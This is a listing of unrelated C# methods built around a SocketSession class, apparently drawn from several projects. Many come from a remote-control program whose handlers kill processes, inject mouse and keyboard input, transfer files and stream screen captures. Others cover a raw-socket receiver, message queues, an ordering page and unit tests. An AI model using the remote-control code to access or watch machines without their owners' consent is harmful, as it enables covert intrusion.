public void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_GET_PROCESSES_REQUEST) { var req = reqObj as RequestGetProcesses; new Thread(() => StartGetProcesses(session, req)) { IsBackground = true }.Start(); } else if (reqType == ePacketType.PACKET_KILL_PROCESS_REQUEST) { var req = reqObj as RequestKillProcesses; new Thread(() => { StartKillProcesses(session, req); StartGetProcesses(session, new RequestGetProcesses() { IsSimpleMode = true }); }) { IsBackground = true }.Start(); } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestMouseEvent; DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}", req.MouseButton, req.MouseOperation, req.MouseLocation.X, req.MouseLocation.Y)); if (req.MouseOperation == eMouseOperations.MouseDown) { MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseUp) { MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MousePress) { MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseDoubleClick) { MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseMove) { MouseOpeUtil.MouseMove(req.MouseLocation); } else { return; } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_DOWNLOAD_REQUEST) { // 开始 RequestStartDownload req = reqObj as RequestStartDownload; if (_request == null) { _request = req; _isRunning = true; // 返回文件基本信息 ResponseStartDownloadHeader headerResp = new ResponseStartDownloadHeader(); using (var fs = System.IO.File.OpenRead(req.Path)) { headerResp.FileSize = fs.Length; headerResp.Path = req.Path; headerResp.SavePath = req.SavePath; } session.Send(ePacketType.PACKET_START_DOWNLOAD_HEADER_RESPONSE, headerResp); // 开始返回文件内容 RunTaskThread(StartDownload, session); } else { // 每次只能下载一个文件 return; } } else if (reqType == ePacketType.PACKET_STOP_DOWNLOAD_REQUEST) { // 停止 _isRunning = false; } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (OnFireQuit != null) { OnFireQuit(null, null); } }
public virtual NetStatistic GetStatisticInfo() { NetStatistic s = new NetStatistic(); NetStatisticGroup gs = s.AddGroup("会话信息", false); gs.AddColumn("接收字节数", "BYTE"); gs.AddColumn("发送字节数", "BYTE"); gs.AddColumn("错误字节数", "BYTE"); gs.AddColumn("活动时间", "TIME"); gs.AddColumn("开始时间", "TIME"); List <INetSession> sl = null; lock (SyncLocker) { sl = SessionList.Values.ToList(); } foreach (INetSession session in sl) { SocketSession ss = session as SocketSession; if (ss != null) { string sn = string.Format("{0},{1}", session.SessionID, ss.EndPoint.ToString()); NetStatisticItem si = gs.AddItem(sn, ss.ReceivedBytes); si.Value2 = ss.SendedBytes; si.Value3 = ss.ErrorBytes; si.Value4 = ss.ActiveTime.Ticks; si.Value5 = ss.StartTime.Ticks; } } return(s); }
private void StartDownload(SocketSession session) { FileStream fs = new FileStream(_request.Path, FileMode.Open, FileAccess.Read); byte[] buffer = new byte[2048]; while (true) { if (!_isRunning) { break; } int size = fs.Read(buffer, 0, buffer.Length); if (size < 1) { break; } ResponseStartDownload resp = new ResponseStartDownload(); resp.Data = new byte[size]; for (int i = 0; i < size; i++) { resp.Data[i] = buffer[i]; } session.Send(ePacketType.PACKET_START_DOWNLOAD_RESPONSE, resp); } fs.Close(); _request = null; _isRunning = false; }
public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo) { PubishInformaction info = null; try { if (TryReadPubishInformaction(requestInfo, out info)) { var msgServer = (MessageServer)server; msgServer.MessageAgent.Pubish(info); } else { throw new MessageAgentException("未能正常解析推送数据!"); } } catch (Exception ex) { if (info != null) { session.Logger.Error(string.Format("推送失败,请查看推送信息是否完整!异常消息:{0}{1}推送主题:{2}推送内容:{3}", ex.Message, Environment.NewLine, info.Topic, info.Content), ex); } else { session.Logger.Error(string.Format("推送失败,请查看推送信息是否完整!异常消息:{0}{1}推送信息为空!", ex.Message, Environment.NewLine), ex); } } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { switch (reqType) { case ePacketType.PACKET_CREATE_FILE_OR_DIR_REQUEST: Create(session, reqType, reqObj); break; case ePacketType.PACKET_DELETE_FILE_OR_DIR_REQUEST: Delete(session, reqType, reqObj); break; case ePacketType.PACKET_COPY_FILE_OR_DIR_REQUEST: Copy(session, reqType, reqObj); break; case ePacketType.PACKET_MOVE_FILE_OR_DIR_REQUEST: Move(session, reqType, reqObj); break; case ePacketType.PACKET_RENAME_FILE_REQUEST: Rename(session, reqType, reqObj); break; } }
static void StartGetProcesses(SocketSession session, RequestGetProcesses req) { ResponseGetProcesses resp = new ResponseGetProcesses(); try { List <ProcessProperty> processes = null; if (req.IsSimpleMode) { processes = ProcessUtil.GetProcessProperyListBySimple(); } else { processes = ProcessUtil.GetProcessProperyList(); } resp.Processes = processes.OrderBy(s => s.ProcessName).ToList(); } catch (Exception ex) { resp.Result = false; resp.Message = ex.Message; } session.Send(ePacketType.PACKET_GET_PROCESSES_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST) { var req = reqObj as RequestStartUploadHeader; if (_fileUploadDic.ContainsKey(req.Id)) { return; } FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write); _fileUploadDic.Add(req.Id, fs); } else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE) { var resp = reqObj as ResponseStartUpload; if (_fileUploadDic.ContainsKey(resp.Id)) { FileStream fs = _fileUploadDic[resp.Id]; fs.Write(resp.Data, 0, resp.Data.Length); } } else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST) { var req = reqObj as RequestStopUpload; if (_fileUploadDic.ContainsKey(req.Id)) { _fileUploadDic[req.Id].Close(); _fileUploadDic[req.Id].Dispose(); _fileUploadDic.Remove(req.Id); } } }
public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo) { try { SubscribeItem subscribeItem; if (requestInfo.TryReadFromJsonStream(out subscribeItem)) { var _MQMServer = (MQMServer)server; _MQMServer.MessageQueueAgent.Subscribe(subscribeItem.PublisherId, subscribeItem); var result = SocketResult <string> .Create(message : "订阅主题成功!"); session.SendObjectToJsonStream(RouteCode, result); } } catch (NotAuthenticationException) { var result = SocketResult <string> .Create(code : "500", message : "未经授权的操作!"); session.SendObjectToJsonStream(RouteCode, result); } catch (Exception ex) { var result = SocketResult <string> .Create(code : "600", message : string.Format("订阅主题过程中发生无法预知错误,{0}!", ex.Message)); session.SendObjectToJsonStream(RouteCode, result); } }
private void StartCaptureScreen(SocketSession session) { int sleepValue = 1000; int fpsValue = 1; while (true) { if (!_isRunning) { return; } fpsValue = _request.fps; sleepValue = 1000 / fpsValue; for (int i = 0; i < fpsValue; i++) { ResponseStartGetScreen resp = new ResponseStartGetScreen(); try { resp.SetImage(ScreenUtil.CaptureScreen2(), ImageFormat.Jpeg); } catch (Exception ex) { resp.Result = false; resp.Message = ex.Message; resp.Detail = ex.StackTrace; } session.Send(ePacketType.PACKET_START_CAPTURE_SCREEN_RESPONSE, resp); Thread.Sleep(sleepValue); } } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST) { try { Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开 } catch (Exception ex) { Console.WriteLine(ex.Message); } } else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST) { try { Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭 } catch (Exception ex) { Console.WriteLine(ex.Message); } } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST) { // 开始捕获 var req = reqObj as RequestStartCaptureVideo; if (_request == null) { // 第一次发送启动监控请求,则创建监控线程 _request = req; _isRunning = true; RunTaskThread(StartCapture, session); } else { // 非第一次发送启动监控请求,则修改相关参数 _request.Fps = req.Fps; } } else if (reqType == ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST) { // 停止捕获 _isRunning = false; _request = null; } }
private void StartServerAccept(Socket server) { Thread serverAcceptThread = new Thread(() => { string sessionId = server.LocalEndPoint.ToString(); Socket client = null; while (true) { try { client = server.Accept(); } catch (Exception ex) { Console.WriteLine("Serer Accept Error," + ex.Message); // 监测服务是否已经关闭 if (!_oServerDic.ContainsKey(sessionId)) { return; } continue; } // 创建会话对象 SocketSession session = new SocketSession(client.RemoteEndPoint, client); DoClientConnected(session); StartClientRecv(session); } }); serverAcceptThread.Name = serverAcceptThread + "->" + server.LocalEndPoint.ToString(); serverAcceptThread.IsBackground = true; serverAcceptThread.Start(); }
private void Create(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestCreateFileOrDir; var resp = new ResponseCreateFileOrDir(); try { resp.Path = req.Path; resp.PathType = req.PathType; if (req.PathType == ePathType.File) { if (!System.IO.File.Exists(req.Path)) { System.IO.File.Create(req.Path).Close(); } } else { if (!System.IO.Directory.Exists(req.Path)) { System.IO.Directory.CreateDirectory(req.Path); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_CREATE_FILE_OR_DIR_RESPONSE, resp); }
public IActionResult OnPost() { List <int> items = new List <int>(); StringValues sv; Request.Form.TryGetValue("item", out sv); foreach (string str in sv.ToArray()) { items.Add(Int32.Parse(str)); } Order o = new Order(); o.comment = ""; o.idTable = 1; o.id = -1; o.receipt = ""; o.status = "PENDING"; o.items = items.ToArray(); string os = JsonConvert.SerializeObject(o); SocketSession ss = new SocketSession(); ss.Send("SUBMITORDER|" + os); string r = ss.Receive(); Console.WriteLine(r); Console.WriteLine(os); Response.Cookies.Delete("orderid"); Response.Cookies.Append("orderid", r); Response.Cookies.Delete("cart"); return(RedirectToPage("/Receipt")); }
static void StartConnect() { var paras = ReadParameters(); var handlers = InitHandlers(); while (true) { try { DoOutput("正在连接服务器..."); oServer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); oServer.Connect(paras.GetIPEndPoint()); DoOutput("服务器连接成功!"); var oServerSession = new SocketSession(oServer.RemoteEndPoint.ToString(), oServer); StartRecvData(oServerSession, handlers); break; } catch (Exception ex) { Console.WriteLine("连接服务器异常," + ex.Message); } Thread.Sleep(3000); } }
public bool AddRecord(SocketSession session, GpsInfo record) { GpsInfo rc = new GpsInfo(record); gpsCache.Enqueue(rc); return(true); }
public void OnGet() { SocketSession ss = new SocketSession(); ss.Send("GETMENUITEMS"); string r = ss.Receive(); string[] rs = r.Split(new char[] { '|' }); menuItems = new MenuItem[rs.Length]; int j = 0; foreach (string ms in rs) { MenuItem m = JsonConvert.DeserializeObject <MenuItem>(ms); menuItems[j++] = m; } if (Request.Cookies.ContainsKey("cart")) { cartLogo = "/lib/img/cart.png"; } else { cartLogo = "/lib/img/cart_gray.png"; } }
public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo) { try { PublisherInformaction publisher; if (requestInfo.TryReadFromJsonStream(out publisher)) { var _MQMServer = (MQMServer)server; if (_MQMServer.MessageQueueAgent.Authentication(new ClientIndetity() { IsWebSite = publisher.IsWebSite, PublisherId = publisher.PublisherId, SessionId = session.SessionID, WebSiteHost = publisher.WebSiteHost }, publisher.MQMToken)) { var result = SocketResult <string> .Create(message : "欢迎登录消息中间件!"); session.SendObjectToJsonStream(RouteCode, result); } } } catch (NotAuthenticationException) { var result = SocketResult <string> .Create(code : "501", message : "授权登陆失败!"); session.SendObjectToJsonStream(RouteCode, result); } catch (Exception ex) { var result = SocketResult <string> .Create(code : "600", message : string.Format("授权登陆过程中发生无法预知错误,{0}!", ex.Message)); session.SendObjectToJsonStream(RouteCode, result); } }
[Test] public void SimpleStringIsRead() { var testSocket = new TestSocket(); var socketStream = new SocketSession(testSocket); testSocket.PutBytes(new byte[] { 104, 101, 108, 108, 111 }); Assert.AreEqual("hello", socketStream.Read(5)); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; var thread = ProcessUtil.Run(path, "/r", true); thread.Join(); RemoteControlApplication.FireQuitEvent(); }
[Test] public void StringIsWrittenWithLengthPrefix() { var testSocket = new TestSocket(); var socketStream = new SocketSession(testSocket); socketStream.Write("h\u2019llo", "{0}:"); Assert.AreEqual(new byte[] { 55, 58, 104, 226, 128, 153, 108, 108, 111 }, testSocket.GetBytes()); }
[Test] public void EncodedStringIsRead() { var testSocket = new TestSocket(); var socketStream = new SocketSession(testSocket); testSocket.PutBytes(new byte[] { 104, 226, 128, 153, 108, 108, 111 }); Assert.AreEqual("h\u2019llo", socketStream.Read(7)); }
[Test] public void SimpleStringIsWritten() { var testSocket = new TestSocket(); var socketStream = new SocketSession(testSocket); socketStream.Write("hello"); Assert.AreEqual(new byte[] { 104, 101, 108, 108, 111 }, testSocket.GetBytes()); }
public void Start(string ip) { m_rawsock.Bind(new IPEndPoint(IPAddress.Parse(ip), 0)); SetSocketOpt(); SocketSession ss = new SocketSession(m_rawsock, BUFFER_SIZE); m_rawsock.BeginReceive(ss.Buffer, 0, BUFFER_SIZE, SocketFlags.None, m_ReceivedData, ss); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestKeyboardEvent; DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}", req.KeyCode, req.KeyValue, req.KeyOperation)); KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation); }
private bool InternalTrySend(IList<ArraySegment<byte>> segments) { if (!SocketSession.TrySend(segments)) return false; LastActiveTime = DateTime.Now; return true; }
private void DoClientConnected(SocketSession session) { _oClientDic.Add(session.SocketId, session.SocketObj); if (ClientConnected != null) { ClientConnectedEventArgs args = new ClientConnectedEventArgs(session); ClientConnected(this, args); } }
[Test] public void StringIsReadInMultipleParts() { var testSocket = new TestSocket(); var socketStream = new SocketSession(testSocket); testSocket.PutBytes(new byte[] { 104, 101, 108, 108, 111 }); testSocket.PutBytes(new byte[] { 32, 119, 111, 114, 108, 100 }); Assert.AreEqual("hello world", socketStream.Read(11)); }
public static void Show(GameRoomItem item, SocketSession session) { GameRoomInfoDialog info = new GameRoomInfoDialog { UserSession = session, Title = item.DisplayName, Members = item.Members, Logo = "http://forums.pointgaming.com/assets/logo-3b643498dc7635d6ce4598843b5fcf0e.png", URL = item.URL }; System.ComponentModel.ICollectionView mv = CollectionViewSource.GetDefaultView(info.Members); mv.GroupDescriptions.Add(new PropertyGroupDescription("TeamName")); info.listBoxMembership.DataContext = mv; info.ShowDialog(); }
private void OnReceive(IAsyncResult ar) { SocketSession ss = (SocketSession)ar.AsyncState; ss.DataLength = ss.Socket.EndReceive(ar); if (ss.DataLength == 0) { m_Provider.OnDropConnection(); ss.Socket.Shutdown(SocketShutdown.Both); ss.Socket.Close(); return; } m_Provider.OnReceiveData(ss); if (!m_disposed) { SocketSession ssnew = new SocketSession(m_rawsock, BUFFER_SIZE); m_rawsock.BeginReceive(ssnew.Buffer, 0, BUFFER_SIZE, SocketFlags.None, m_ReceivedData, ssnew); } }
public UserDataManager(SocketSession session) { UserData = this; Settings = PointGaming.Settings.SettingsUser.Load(session.User.username); PgSession = session; User = GetPgUser(session.User); User.Status = "online"; _sessionManager = new SessionManager(); Friendship = new FriendshipManager(PgSession); Voip = new VoipSession(this); Voip.Enable(); timer = new DispatcherTimer(); timer.Interval = TimeSpan.FromSeconds(5); timer.Tick += new EventHandler(CheckIdle); timer.Start(); }
private void Window_Loaded(object sender, RoutedEventArgs e) { SocketSession = new SocketSession(); SocketSession.SetThreadQueuerForCurrentThread(UIExtensionMethods.BeginInvokeUI); if (App.Settings.UpdateAutomatic) CheckForUpdate(); else UseRememberedLogin(); }
public FriendshipManager(SocketSession session) { _pgSession = session; }